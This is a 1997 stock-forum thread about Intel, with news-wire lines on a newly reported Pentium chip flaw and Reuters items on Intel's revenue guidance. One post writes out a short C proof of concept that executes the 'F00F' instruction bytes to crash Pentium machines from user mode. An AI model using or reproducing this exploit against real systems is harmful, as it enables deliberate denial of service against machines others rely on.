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To: Chi-X who wrote (39832)	11/10/1997 2:38:00 PM
From: vinod Khurana	Read Replies (2) \| Respond to of 186894

14:18 [INTC] INTEL SAYS FLAW COULD BE USED TO INTENTIONALLY CRASH SYSTEM. 14:10 [INTC] INTEL REPORTS NEW FLAW DISCOVERED IN PENTIUM CHIP. 13:54 [INTC] INTEL UPPED TO ACCUMULATE FROM MAINTAIN - A.G. EDWARDS.

To: Chi-X who wrote (39832)	11/10/1997 2:42:00 PM
From: SteveG	Read Replies (3) \| Respond to of 186894

<why would anybody want to intentionally crash their system?> This can be used to crash pentium SERVERS. ..seems to work for all pentiums (different sequence for CYRX) from user mode - (caution - try the following on an UNUSED system with filesystems read-only) char x[5] = { 0xF0, 0x0F, 0xC7, 0xC8, 0 }; main( ) { void (*f)( ) = x; f( ); } Steve

To: Chi-X who wrote (39832)	11/10/1997 3:16:00 PM
From: Maverick	Respond to of 186894

At its semi-annual analysts meeting INTEL CORP executives said they are seeing signs the ongoing inventory correction among personal computer makers is nearing an end. "They said the build-to-order phenomenom has cost them half a billion dollars in revenue this year. Now they are saying that transition is almost over and won't happen again this year," Dan Niles, analyst at BancAmerica Robertson, Stephens. The news came as a relief to many analysts who had been concerned about possible bad news coming out of the meeting. (Reuters 01:17 PM ET 11/07/97) For the full text story, see infobeat.com * INTEL CORP CFO Andy Bryant said the company's guidance of slight sequential revenue growth in the 4Q remains unchanged. "We're doing nothing to change our guidance," Bryant said about the revenue growth forecast at the company's semi-annual analyst meeting here. Revenue guidance is an indication to analysts of what to expect for company revenues in coming financial quarters. Heading into the meeting, analyst had been concerned the company would lower its guidance for sales. Bryant also said the company's October sales proved to be slightly up from previous months. (Reuters 03:17 PM ET 11/07/97)